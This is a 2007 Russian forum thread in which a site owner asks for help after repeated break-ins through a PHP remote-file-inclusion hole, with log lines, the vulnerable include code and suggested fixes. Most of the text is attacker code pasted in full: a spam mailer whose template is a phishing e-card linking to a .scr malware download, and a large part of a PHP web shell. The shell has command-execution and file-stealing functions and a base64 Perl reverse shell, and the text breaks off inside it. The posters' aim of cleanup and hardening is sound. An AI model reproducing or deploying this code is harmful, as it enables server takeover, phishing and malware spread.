Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум Apache

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: взлом сайта
 
 автор: inga   (22.10.2007 в 11:36)   письмо автору
 
 

У меня уже третий раз взломывают сайт. В определенную папку как то загружают фаил 1ndex.jpg, который делает рассылку. Доступ в эту папку есть через написаную мной админ панель, но она защищена с помощью .htaccess и .htpasswd.(тоесть от туда я туда загружаю рисунки)
Хостинг сказал что сайт уже не включит. Посоветуйте что делать ?

   
 
 автор: Agronom   (22.10.2007 в 15:39)   письмо автору
 
   для: inga   (22.10.2007 в 11:36)
 

а как index.jpg делает рассылку?
Да и пароль базовой аутендификации можно легко перехватить, используйье ssl

   
 
 автор: inga   (22.10.2007 в 17:08)   письмо автору
 
   для: Agronom   (22.10.2007 в 15:39)
 

Как он делает рассылку я не знаю, я только по лгам вижу что к нему обращались и после спазу закрыли сайт. После того как открыли фтп его там уже не было.
По лгам смотрю что много обращений типа:
"POST /index.php?mod=http://quicken.co.nz/nov.txt? HTTP/1.0" 200 21022 "http://www.blabla.ua/index.php?mod=http://quicken.co.nz/nov.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"
ну только ссылки разных сайтов подставляются и везде txt.
Я так понимаю это пытаются загрузить фаил с какимто кодом.
Что посоверуете, где дырку искать?
мой стартовый index.php:

<?
include "../config.php";
if (empty(
$mod))
{
    
$mod="mod1.php";
}
        require(
"head.php");
        require(
$mod);
        require(
"foot.php");
?>

видите они пытаются вместо моего $mod вставить свой скрипт.
Но это только мои соображения, я с этим не сталкивалась

   
 
 автор: Agronom   (22.10.2007 в 19:45)   письмо автору
 
   для: inga   (22.10.2007 в 17:08)
 

Если вы почитаете простейшую инструкцию по безопасности, то там написано, что нельзя таким образом подгружать файлы со скриптом.

В итоге у вас выполняется код из файла http://quicken.co.nz/nov.txt, а там может быть что угодно, даже код, позволяющий полностью захватить сайт... Но видно взломщикам интересны рассылки.

как быть. Для начала вынесем расширение "за скобки"


  if (empty($mod)) 

    $mod="mod1.php"; 

        require("head.php"); 
        require($mod.'.php');  
        require("foot.php"); 
?>



т.е. если вам нужно включить фаил mod10.php, то в запросе пишите index.php?mod=mod10
Но взломщик может передать фаил без расширения, у которого расширение тоже .php

Для этого можно написать регулярное выражение, которое допускает в условии только цифры и латинские буквы


if (empty($mod) or !preg_match(/^[a-z0-9]+$/i,$mod)) 

    $mod="mod1.php"; 

   
 
 автор: Agronom   (22.10.2007 в 19:52)   письмо автору
 
   для: Agronom   (22.10.2007 в 19:45)
 

Вот код, который вам загружали, он благополучно лежит на сервере =)


<title>Mala Direta - PHPSource Script by Juninho</title>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<?php

set_time_limit
(0);

if(
$manda)
{
//EMAIL DO DESTINAT?RIO
$destinatario "$remetente";

//ASSUNTO DO EMAIL
$assunto "$assunto";

//MENSAGEM DO EMAIL
$mensagem $html;
$mensagem stripslashes($mensagem);
//CABE?ALHO DO EMAIL
$headers  "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
/* headers adicionais */
$headers .= "From: <$remetente>\r\n";
$headers .= "Cc: $remetente\r\n";
$headers .= "Bcc: e$remetente\r\n";

//ARQUIVO COM OS EMAILS
$arquivo $lista;

//LENDO ARQUIVO
$file explode("\n"$arquivo);
$i 1;


?>
<p>&nbsp;</p>
<?
if($manda) { ?>
<table width="59%" height="30" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#333333">
  <tr>
    <td bgcolor="#f5f5f5"> 
      <?
    
foreach ($file as $mail) {

                if(
mail($mail$assunto$mensagem$headers))

                    echo 
"<font color=green face=verdana size=1>* $i - ".$mail."</font> <font color=green face=verdana size=1>Vai</font><br>";

                else

                    echo 
"* $i  ".$email[$i]." <font color=red>NO</font><br><hr>";

$i++;
     

}
}
?>
    </td>
  </tr>
</table><? ?>
<form name="form1" method="post" action="">
  <table width="47%" height="202" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#666666">
    <tr> 
      <td bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr> 
            <td colspan="3" bgcolor="#666666"> <div align="center"><font color="#FFFFFF" size="4" face="Verdana, Arial, Helvetica, sans-serif"><b> Enviador priv8 by c0d3b4nk
                </b></font></div></td>
          </tr>
          <tr> 
            <td width="21%"><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Assunto:</font></b></font></div></td>
            <td width="1%" bgcolor="#666666">&nbsp;</td>
            <td width="78%">
            <input name="assunto" type="text" id="assunto3" size="50" value="beijos..."></td>
          </tr>
          <tr> 
            <td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Remetente:</font></b></font></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td>
            <input name="remetente" type="text" id="remetente3" size="50" value="msg3256@viacards.com.br"></td>
          </tr>
          <tr> 
            <td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">CODIGO HTML:</font></b></font></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><textarea name="html" cols="40" rows="4" id="textarea2"><html>

<head>
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Nova pagina 3</title>
</head>

<body>

<table cellSpacing="0" cellPadding="0" width="100%">
  <tr>
    <td class="dMessageBodyLeftPlaceHolder">
    <div class="dMessageBodyLeftPlaceHolder">
&nbsp;</div>
    </td>
    <td id="tdMessageBody">
    <table width="100%">
      <tr>
        <td class="ExternalClass">
        <meta content="Microsoft SafeHTML" name="Generator">
        <br>
&nbsp;<table cellSpacing="1" cellPadding="0" width="700" align="center" bgColor="#cccccc" border="0">
          <tr>
            <td>
            <table cellSpacing="0" cellPadding="20" width="100%" bgColor="#ffffff" border="0">
              <tr>
                <td width="270" rowSpan="4">
                <a href="http://www.zjkjw.gov.cn/mensagem568.scr" target="_blank">
                <img src="http://www.clickmensagens.com/images/amizade13.gif" border="0" width="282" height="306"></a></td>
                <td vAlign="top" align="right">
                <a href="http://www.zjkjw.gov.cn/mensagem568.scr" target="_blank">
                <img src="http://www.viacards.com.br/imagens/selo.gif" border="0" width="140" height="96"></a></td>
              </tr>
              <tr>
                <td style="FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: verdana, Arial,
Helvetica, sans-serif" align="middle">Para visualizar seu cartгo clique na 
                figura ao lado.</td>
              </tr>
              <tr>
                <td style="FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: verdana, Arial,
Helvetica, sans-serif">Envie tambйm um cartгo do Via Cards: й rбpido, fбcil e 
                gratuito.</td>
              </tr>
              <tr>
                <td style="FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: verdana, Arial,
Helvetica, sans-serif" vAlign="bottom" align="right">
                <a href="http://www.zjkjw.gov.cn/mensagem568.scr" target="_blank">
                <font color="#0068cf">Clique aqui se vocк nao 
                conseguiu&nbsp;visualizar o cartгo</font></a></td>
              </tr>
            </table>
            </td>
          </tr>
        </table>
        <p align="center">Via RS ®1995-2007 - Todos os direitos reservados<br>
        PROCERGS - Governo do Estado do RS</td>
      </tr>
    </table>
    </td>
  </tr>
</table>

</body>

</html></textarea></td>
          </tr>
          <tr> 
            <td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">LISTA DE VITIMAS:</font></b></font></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><textarea name="lista" cols="40" rows="10" id="textarea3">
</textarea></td>
          </tr>
          <tr> 
            <td><div align="center"></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr> 
            <td>&nbsp;</td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><div align="center"> 
                <input name="manda" type="submit" id="manda" value="Send!">
              </div></td>
          </tr>
          <tr> 
            <td height="23">&nbsp;</td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Informa&ccedil;&otilde;es: 
                <b>By Juninho </b></font></div></td>
          </tr>
        </table></td>
    </tr>
  </table>
</form>

   
 
 автор: ProtoTeeP   (22.10.2007 в 20:10)   письмо автору
 
   для: Agronom   (22.10.2007 в 19:45)
 

извиняюсь, конечно/

а так не лучше?

$path = '/';
$page = (!empty($_GET['page']) && is_readable($path.basename($_GET['page']).'.php')) ? $_GET['page'] :'index.php';


так мы хоть ограничем взлом.
т.е файл (шелл) должен обязательно быть на хосте и в определеной папке...

   
 
 автор: Agronom   (22.10.2007 в 20:15)   письмо автору
 
   для: ProtoTeeP   (22.10.2007 в 20:10)
 

можно и так, вариантов куча :)

   
 
 автор: ProtoTeeP   (22.10.2007 в 20:41)   письмо автору
 
   для: Agronom   (22.10.2007 в 20:15)
 

>можно и так, вариантов куча :)

а можно подробнее =)
а то сам ищу хорошие советы против взлома, начитался кучу статей в форме через пойск искал...

   
 
 автор: Agronom   (22.10.2007 в 20:53)   письмо автору
 
   для: ProtoTeeP   (22.10.2007 в 20:41)
 

отключить в php.ini возможнось грузить файлы и прочее с внешних ресурсов:

allow_url_fopen = off

   
 
 автор: ProtoTeeP   (22.10.2007 в 21:02)   письмо автору
 
   для: Agronom   (22.10.2007 в 20:53)
 

>отключить в php.ini возможнось грузить файлы и прочее с внешних ресурсов:
>

>allow_url_fopen = off
>


спасибо! но пока доступе нету... кстати, у тебя хостинг? посоветуй что-нибудь качественное...
в пределах 600 руб. чтоб о ДОС и др. серверных делах, можно было не думать...

   
 
 автор: Agronom   (22.10.2007 в 21:10)   письмо автору
 
   для: ProtoTeeP   (22.10.2007 в 21:02)
 

Чем тебе softtime не нравится? :)

   
 
 автор: ProtoTeeP   (22.10.2007 в 21:14)   письмо автору
 
   для: Agronom   (22.10.2007 в 21:10)
 

=) даже не знаю... просто хочется выбрать одно и не жалеть... знаю, что как повезет.. но все же... =)

   
 
 автор: inga   (23.10.2007 в 09:49)   письмо автору
 
   для: ProtoTeeP   (22.10.2007 в 21:14)
 

всем огромное спасибо

   
 
 автор: inga   (23.10.2007 в 09:54)   письмо автору
 
   для: inga   (23.10.2007 в 09:49)
 

вот еще вопрос по темеме, подскажите как теперь выявить загруженные фаилы? они же могли таким способом и в базы позаливать левые скрипты, пароли? неужели тупо просматривать весь код и все записи

   
 
 автор: Agronom   (23.10.2007 в 14:45)   письмо автору
 
   для: inga   (23.10.2007 в 09:54)
 

Вы делали md5 сумму файлов? Спросите у хостера, есть ли такая возможность. Обычно в таких случаях просто сравнивают сумму. Но если не делали, то придется просматривать. Вообще смотрите логи, какие были обращения к каким файлам с подозрительный ip. Вообще, думаю, ваш сайт ломал обычный эксплоит, типо xspider. Да и спамщиков интересовала только рассылка. Думаю таким образом они нашли тысячи дырявых сайтов.

Хотя проверить нужно обязательно, Возможно взломщики и оставили лазейку.

Помните, за безопасность нужно платить, а за взломы расплачиваться :)

   
 
 автор: inga   (23.10.2007 в 16:53)   письмо автору
 
   для: Agronom   (23.10.2007 в 14:45)
 

вот еще хочу спросить, может посмотрев этот код, подскажите куда он обращается и где искать еще левые скрипты. я что то с таким не сталкивалась и ни понять в нем не могу

<?php

$version 
"PHP Agent Version 1.39e (c) ".'s'.'o'.'l'.'o'.'s'.'t'.'e'.'l'.'l'." 2007";

function 
command($cfe)
{
    
$res '';
    if(
function_exists('exec'))
    {
      @
exec($cfe,$res);
      
$res = @join("\n",$res);
    }
    elseif(
function_exists('shell_exec'))
    {
      
$res = @shell_exec($cfe);
    }
    elseif(
function_exists('system'))
    {
      @
ob_start();
      @
system($cfe);
      
$res = @ob_get_contents();
      @
ob_end_clean();
    }
    elseif(
function_exists('passthru'))
    {
      @
ob_start();
      @
passthru($cfe);
      
$res = @ob_get_contents();
      @
ob_end_clean();
    }
    elseif(@
is_resource($f = @popen($cfe,"r")))
    {
      
$res "";
      while(!@
feof($f)) { $res .= @fread($f,1024); }
      @
pclose($f);
    }
    return 
$res;
}

function 
get_temp_filename()
{
  global 
$unix;
  
$uqt "tmpU4g764t";
  if (
$unix)
  {
     
$tmpfname = @tempnam("/tmp""tmp");
     if (!
$tmpfname$tmpfname "/tmp/$uqt";

     
$tmpfile = @fopen($tmpfname,"wb");
     if (!
$tmpfile)
     {
        
$tmpfname = @tempnam("/var/tmp""tmp");;
        
$tmpfile = @fopen($tmpfname,"wb");
     }
     if (!
$tmpfile)
     {
        
$tmpfname "/var/tmp/$uqt";
        
$tmpfile = @fopen($tmpfname,"wb");
     }
     if (!
$tmpfile)
     {
        
$tmpfname "./$uqt";
        
$tmpfile = @fopen($tmpfname,"wb");
     }
     if (
$tmpfile)
     {
         @
fclose ($tmpfile);
         @
unlink ($tmpfname);
         return 
$tmpfname;
     } else {
         return 
"/tmp/tmpU4g764t";
     }
  } else {
     
$tmpdir getenv("TEMP");
     if (empty(
$tmpdir)) $tmpdir getenv("TMP");
     if (empty(
$tmpdir)) $tmpdir "C:\\WINDOWS\\TEMP";

     
$tmpfname = @tempnam($tmpdir"tmp");
     
$tmpfile = @fopen($tmpfname,"wb");
     if (!
$tmpfile)
     {
        
$tmpfname "$tmpdir\\$uqt";
        
$tmpfile = @fopen($tmpfname,"wb");
     }
     if (!
$tmpfile)
     {
        
$tmpfname ".\\$uqt";
        
$tmpfile = @fopen($tmpfname,"wb");
     }
     if (
$tmpfile)
     {
        @
fclose ($tmpfile);
        @
unlink ($tmpfname);
        return 
$tmpfname;
     } else {
       return 
"C:\\WINDOWS\\TEMP\\$uqt";
     }
  }
}

function 
to_win_name($filename)
{
   return 
preg_replace("/\//""\\"$filename);
}

function 
eat_file($filename)
{
  global 
$safe_mode;
  global 
$unix;
  
$contents '';
  if (
$handle = @fopen($filename"rb"))
  {
    while (!@
feof($handle)) {
       
$contents .= fread($handle8192);
    }
    @
fclose($handle);
  } else
  {
    if (!
$safe_mode)
    {
      
$tmpfname get_temp_filename();
      
$win_name to_win_name($filename);
      if (
$unixcommand ("cp '$filename$tmpfname");
      else       
command ("copy \"$win_name\" $tmpfname");

      if (
$handle = @fopen($tmpfname"rb"))
      {
         while (!@
feof($handle)) {
            
$contents .= fread($handle8192);
         }
         @
fclose($handle);
      } else {
         if (
$unix$contents command("cat '$filename'");
         else 
$contents command("type \"$win_name\"");
      }
      @
unlink($tmpfname);
    }
  }
  return 
$contents;
}

function 
create_file($fname,$text)
{
   
$w_file = @fopen($fname,"wb");

   if(
$w_file)
   {
       @
fputs($w_file,$text);
       @
fclose($w_file);
   } else
     return 
false;
   return 
true;
}

function 
create_file_base64($fname,$text)
{
   
$w_file=@fopen($fname,"wb");

   if(
$w_file)
   {
       @
fputs($w_file,@base64_decode($text));
       @
fclose($w_file);
   } else
     return 
false;
   return 
true;
}

function 
which($pr)
{
  
$path command("which $pr");
  if (!empty(
$path)) { return $path; } else { return $pr; }
}

class 
createZip {

    var 
$compressedData = array();
    var 
$centralDirectory = array(); // central directory
    
var $endOfCentralDirectory "\x50\x4b\x05\x06\x00\x00\x00\x00"//end of Central directory record
    
var $oldOffset 0;

     function 
addFile($data$directoryName)   {

        
$directoryName str_replace("\\""/"$directoryName);

        
$feedArrayRow "\x50\x4b\x03\x04";
        
$feedArrayRow .= "\x14\x00";
        
$feedArrayRow .= "\x00\x00";
        
$feedArrayRow .= "\x08\x00";
        
$feedArrayRow .= "\x00\x00\x00\x00";

        
$uncompressedLength strlen($data);
        
$compression crc32($data);
        
$gzCompressedData gzcompress($data);
        
$gzCompressedData substrsubstr($gzCompressedData0strlen($gzCompressedData) - 4), 2);
        
$compressedLength strlen($gzCompressedData);
        
$feedArrayRow .= pack("V",$compression);
        
$feedArrayRow .= pack("V",$compressedLength);
        
$feedArrayRow .= pack("V",$uncompressedLength);
        
$feedArrayRow .= pack("v"strlen($directoryName) );
        
$feedArrayRow .= pack("v");
        
$feedArrayRow .= $directoryName;

        
$feedArrayRow .= $gzCompressedData;

        
$feedArrayRow .= pack("V",$compression);
        
$feedArrayRow .= pack("V",$compressedLength);
        
$feedArrayRow .= pack("V",$uncompressedLength);

        
$this -> compressedData[] = $feedArrayRow;

        
$newOffset strlen(implode(""$this->compressedData));

        
$addCentralRecord "\x50\x4b\x01\x02";
        
$addCentralRecord .="\x00\x00";
        
$addCentralRecord .="\x14\x00";
        
$addCentralRecord .="\x00\x00";
        
$addCentralRecord .="\x08\x00";
        
$addCentralRecord .="\x00\x00\x00\x00";
        
$addCentralRecord .= pack("V",$compression);
        
$addCentralRecord .= pack("V",$compressedLength);
        
$addCentralRecord .= pack("V",$uncompressedLength);
        
$addCentralRecord .= pack("v"strlen($directoryName) );
        
$addCentralRecord .= pack("v");
        
$addCentralRecord .= pack("v");
        
$addCentralRecord .= pack("v");
        
$addCentralRecord .= pack("v");
        
$addCentralRecord .= pack("V"32 );

        
$addCentralRecord .= pack("V"$this -> oldOffset );
        
$this -> oldOffset $newOffset;

        
$addCentralRecord .= $directoryName;

        
$this -> centralDirectory[] = $addCentralRecord;
    }

    function 
getZippedfile() {

        
$data implode(""$this -> compressedData);
        
$controlDirectory implode(""$this -> centralDirectory);

        return
            
$data.
            
$controlDirectory.
            
$this -> endOfCentralDirectory.
            
pack("v"sizeof($this -> centralDirectory)).
            
pack("v"sizeof($this -> centralDirectory)).
            
pack("V"strlen($controlDirectory)).
            
pack("V"strlen($data)).
            
"\x00\x00";
    }
}


function 
compress(&$filedump)
{
    global 
$content_encoding;
    global 
$mime_type;
    if (@
function_exists('gzencode'))
    {
        
$content_encoding 'x-gzip';
        
$mime_type 'application/x-gzip';
        
$filedump = @gzencode($filedump);
    }
    else
    {
       
$mime_type 'application/octet-stream';
    }
}

function 
make_zip($files)
{
     if (@
function_exists('gzcompress'))
     {
        
$zipfile = new createZip();
        foreach (
$files as $filename)
        {
          
$filedump eat_file($filename);
          
$zipfile->addFile($filedump$filename); # substr($filename, 0, -4));
        
}
        return 
$zipfile->getZippedfile();
     } else {
        
#TODO: use external commands
        
return '';
     }
}


function 
perms($mode)
{
  if (!
$GLOBALS['unix']) return 0;
  if( 
$mode 0x1000 ) { $type='p'; }
  else if( 
$mode 0x2000 ) { $type='c'; }
  else if( 
$mode 0x4000 ) { $type='d'; }
  else if( 
$mode 0x6000 ) { $type='b'; }
  else if( 
$mode 0x8000 ) { $type='-'; }
  else if( 
$mode 0xA000 ) { $type='l'; }
  else if( 
$mode 0xC000 ) { $type='s'; }
  else 
$type='u';
  
$owner["read"] = ($mode 00400) ? 'r' '-';
  
$owner["write"] = ($mode 00200) ? 'w' '-';
  
$owner["execute"] = ($mode 00100) ? 'x' '-';
  
$group["read"] = ($mode 00040) ? 'r' '-';
  
$group["write"] = ($mode 00020) ? 'w' '-';
  
$group["execute"] = ($mode 00010) ? 'x' '-';
  
$world["read"] = ($mode 00004) ? 'r' '-';
  
$world["write"] = ($mode 00002) ? 'w' '-';
  
$world["execute"] = ($mode 00001) ? 'x' '-';
  if( 
$mode 0x800 $owner["execute"] = ($owner['execute']=='x') ? 's' 'S';
  if( 
$mode 0x400 $group["execute"] = ($group['execute']=='x') ? 's' 'S';
  if( 
$mode 0x200 $world["execute"] = ($world['execute']=='x') ? 't' 'T';
  
$s=sprintf("%1s"$type);
  
$s.=sprintf("%1s%1s%1s"$owner['read'], $owner['write'], $owner['execute']);
  
$s.=sprintf("%1s%1s%1s"$group['read'], $group['write'], $group['execute']);
  
$s.=sprintf("%1s%1s%1s"$world['read'], $world['write'], $world['execute']);
  return 
trim($s);
}

function 
get_cwd()
{
     global 
$safe_mode;
     global 
$unix;
     global 
$HTTP_SERVER_VARS;

     
$res '';

     if (
function_exists('getcwd'))
     {
         
$res = @getcwd();
         
$res trim($res);
     }
     if (empty(
$res) && function_exists('posix_getcwd'))
     {
         
$res = @posix_getcwd();
     }
     if (empty(
$res) && function_exists('realpath'))
     {
         
$res = @realpath(".");
     }
     if (empty(
$res) && !$safe_mode)
     {
        if (
$unix)
        {
           
$res command("pwd");
        } else {
           
$res command("cd");
        }
        
$res trim($res);
     }
     if (empty(
$res))
     {
        
$selfpath '';
        
$selfpath $HTTP_SERVER_VARS['SCRIPT_FILENAME'];
        if (empty(
$selfpath)) $selfpath $HTTP_SERVER_VARS['PATH_TRANSLATED'];
        if (empty(
$selfpath)) $selfpath $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['PHP_SELF'];

        if (
preg_match('/^(.*)[\/\\\\]([^\/\\\\]*)$/'$selfpath$matches))
        {
          
$res $matches[1];
        } else {
          
$res $selfpath;
        }
     }
     if (empty(
$res) && $_ENV['PWD'])
     {
         
$res $_ENV['PWD'];
     }
     return 
$res;
}

function 
get_uname()
{
   
$res '';
   global 
$unix;

   if (empty(
$res) && function_exists('php_uname'))
   {
      
$res = @php_uname();
   }
   if (empty(
$res) && function_exists('posix_uname'))
   {
      
$h = @posix_uname();
      foreach (
$h as $k=>$v)
      {
        
$res .= "$k=$v ";
      }
   }

   if (empty(
$res) && !$safe_mode)
   {
     if (
$unix)
     {
        
$res command("uname -a");
     } else {
        
$res command("ver");
     }
     
$res trim($res);
   }

   if (empty(
$res))
   {
      
$res "$_ENV[OSTYPE] $_ENV[OS] $HTTP_SERVER_VARS[SERVER_SOFTWARE]";
   }
   return 
$res;
}

function 
is_unix_os()
{
  
$dir = @get_cwd();
  
$unix 0;
  if (
strlen($dir)>&& $dir[1]==":"$unix=0; else $unix=1;
  if(empty(
$dir))
  {
      
$uname get_uname();
      if (@
eregi("win",$uname)) { $unix 0; }
      else { 
$unix 1; }
  }
  return 
$unix;
}

function 
explode_files ($masklist$open_dirs false$insert_dirnames false)
{
     
$masks preg_split("/(?<!\\\\)\s+/"$masklist, -1PREG_SPLIT_NO_EMPTY);
     
$result = array();

     foreach (
$masks as $mask)
     {
         
$mask preg_replace("/\\\\ /",' ',$mask);
         
$glob = array();
         if (@
file_exists($mask))
         {
            
$glob[] = $mask;
         } else {
            
$glob = @glob($mask);
            if (!
$glob) continue;
         }

         foreach (
$glob as $cur)
         {
               if (
is_dir($cur) && $open_dirs)
               {
                 
$d=@dir($cur);

                 if (
$d)
                 {
                     if (
$insert_dirnames$result[] = "$cur:";
                     if (@
substr($cur, -11) != '/'$cur .= '/';

                     while (
false !== ($file=$d->read()) )
                     {
                        
$result[] = "$cur$file";
                     }
                     
$d->close();
                 } else { 
#error opening dir, treating as file
                     
$result[] = $cur;
                 }
               } else {
                  
$result[] = $cur;
               }
         }
     }
     return 
$result;
}

function 
safe_dir($dir$recursive false$recursive_limit 0)
{
  global 
$unix;
  global 
$fast;
  
$res '';

  if (empty(
$dir)) $dir ".";

  
$files explode_files($dir,true,true);
  
$curdirs = array();

  if (!
$files) return $res;

  foreach (
$files as $file)
  {
      
#if ($file=="." || $file=="..") continue;
      
if (@substr($file,-1,1) == ":")
      {
         
$res .= "$file\n";
         continue;
      }

      @
clearstatcache();
      if (
function_exists('stat'))
         list (
$dev$inode$inodep$nlink$uid$gid$inodev$size$atime$mtime$ctime$bsize) = @stat("$file");
      else {
        if (!isset(
$mtime))   $mtime = @filemtime("$file");
        if (!isset(
$uid))     $uid = @fileowner("$file");
        if (!isset(
$gid))     $gid = @filegroup("$file");
        if (!isset(
$inode))   $inode = @fileinode("$file");
        if (!isset(
$size))    $size = @filesize("$file");
      }
      if (!isset(
$size)) $size 0;

      
#if(!$unix){
      #   $res .= date("d.m.Y H:i",$mtime);
      #   if(@is_dir($file)) $res .= "  <DIR> "; else $res .= sprintf("% 8s ",$size);
      #}
      #else
      
{
        
$owner = array();
        
$grpid = array();

        if (isset(
$uid))
        {
          if (
function_exists('posix_getpwuid'))
             
$owner = @posix_getpwuid($uid);
          else
           
$owner['name'] = $uid;
        }
        if (empty(
$owner['name'])) $owner['name'] = '?';
        
$owner['name'] = trim($owner['name']);


        if (isset(
$gid))
        {
          if (
function_exists('posix_getgrgid'))
              
$grpid = @posix_getgrgid($gid);
          else
              
$grpid['name'] = $gid;
        }
        if (empty(
$grpid['name'])) $grpid['name'] = '?';
        
$grpid['name'] = trim($grpid['name']);

        
$res .= sprintf("% 10d ",$inode);
        @
preg_match('/(^|\/|\\\\)([^\/\\\\]+)$/'$file$shortname);

        if (
$unix)
        {
            
$res .= perms(@fileperms("$file"));
        } else {
            if (@
is_dir($file)) $type 'd';
            elseif (@
is_file($file)) $type '-';
            elseif (@
is_link($file)) $type 'l';
            elseif (
$shortname[2] == "." or $shortname[2] == ".."$type 'd';
            else 
$type '?';

            
$res .= $type;
            
$res .= "rwx---";
            if (!
$fast)
            {
              
$read 0$write 0;
              if (
$type == '-')
              {
                 if (
$handle = @fopen($file,"rb"))
                 {
                    
$read 1;
                    
fclose ($handle);
                 }
                 if (
$handle = @fopen($file,"ab+"))
                 {
                     
$write 1;
                     
fclose($handle);
                 }
              } elseif (
$type == 'd')
              {
                 
$unique_name "$file/87never_exists_anywhere54";
                 if (
$handle = @fopen($unique_name"w+"))
                 {
                     
$write 1;
                     @
fclose($handle);
                     @
unlink($unique_name);
                 }
                 if (
$handle = @opendir($file))
                 {
                    
$read 1;
                    @
closedir($handle);
                 }
              }
              if (
$read$res .= "r"; else $res .= "-";
              if (
$write$res .= "w"; else $res .= "-";
              
$res .= "x";
            } else {
              
$res .= "???";
            }
        }
        
$res .= sprintf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grpid['name'],$size);
        
$res .= date("d.m.Y H:i ",$mtime);

      }

      
$res .= "$shortname[2]\n";

      if (@
is_dir("$file"))
      {
        if (
$shortname[2] != "." && $shortname[2] != "..")
            
$curdirs[] = "$file";
      }
   }

  if (
$recursive)
  {
      foreach (
$curdirs as $dirname)
      {
         if (
$recursive_limit <= 0)
         {
             
$res .= "\n";
             
$res .= safe_dir($dirname$recursive);
         } else {
             if (
$recursive_limit 1)
             {
                 
$res .= "\n";
                 
$res .= safe_dir($dirname$recursive$recursive_limit-1);
             }
         }
      }
  }
  return 
$res;
}

function 
DirFilesR($dir,$types='')
{
    global 
$safe_mode;
    
$files = Array();
    
$mark_as_accessable 0;

    if((
$handle = @opendir($dir)))
    {
      while (
false !== ($file = @readdir($handle)))
      {
        if (
$file != "." && $file != "..")
        {
          if (!empty(
$file) && !$mark_as_accessable)
          {
            
$mark_as_accessable 1;
            
$files[] = '';
          }

          if(@
is_dir($dir."/".$file))
            
$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
          else
          {
            if(
$types)
            {
              
$pos = @strrpos($file,".");
              
$ext = @substr($file,$pos,@strlen($file)-$pos);
              if(@
in_array($ext,explode(';',$types)))
                
$files[] = $dir."/".$file;
            }
            else
              
$files[] = $dir."/".$file;
          }
        }
      }
      @
closedir($handle);
    }

    if (!
$files && !$safe_mode && !$mark_as_accessable)
    {
      
$listing command ("ls -1Ra $dir");
      
$lines explode("\n"$listing);

      
$curdir $dir;
      foreach (
$lines as $line)
      {
        
$line trim($line);
        if (empty(
$line)) continue;
        if (
$line == "." || $line == "..") continue;

        if (!
$mark_as_accessable)
        {
          
$mark_as_accessable 1;
          
$files[] = '';
        }

        if (
preg_match("/^(.*):$/",$line,$matches))
        {
           
$curdir $matches[1];
        } else {
            if(
$types)
            {
              
$pos = @strrpos($line,".");
              
$ext = @substr($line,$pos,@strlen($line)-$pos);
              if(@
in_array($ext,explode(';',$types)))
                
$files[] = "$curdir/$line";
            } else
                
$files[] = "$curdir/$line";
        }
      }
    }
    return 
$files;
}

function 
ReadRegistry($path)
{
 
#reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache"
}

function 
U_value($value)
{
  if (
$value == '') return '';
  if (@
is_bool($value)) return $value 'TRUE' 'FALSE';
  if (
$value === null) return 'NULL';
  if (@
is_object($value)) $value = (array) $value;
  if (@
is_array($value))
  {
    @
ob_start();
    
print_r($value);
    
$value = @ob_get_contents();
    @
ob_end_clean();
  }
  return 
$value;
}

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V 0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT 0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGN tZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG 9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X 2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbi IpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb 3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6 ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9J TkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB 8fCBkaWUoI
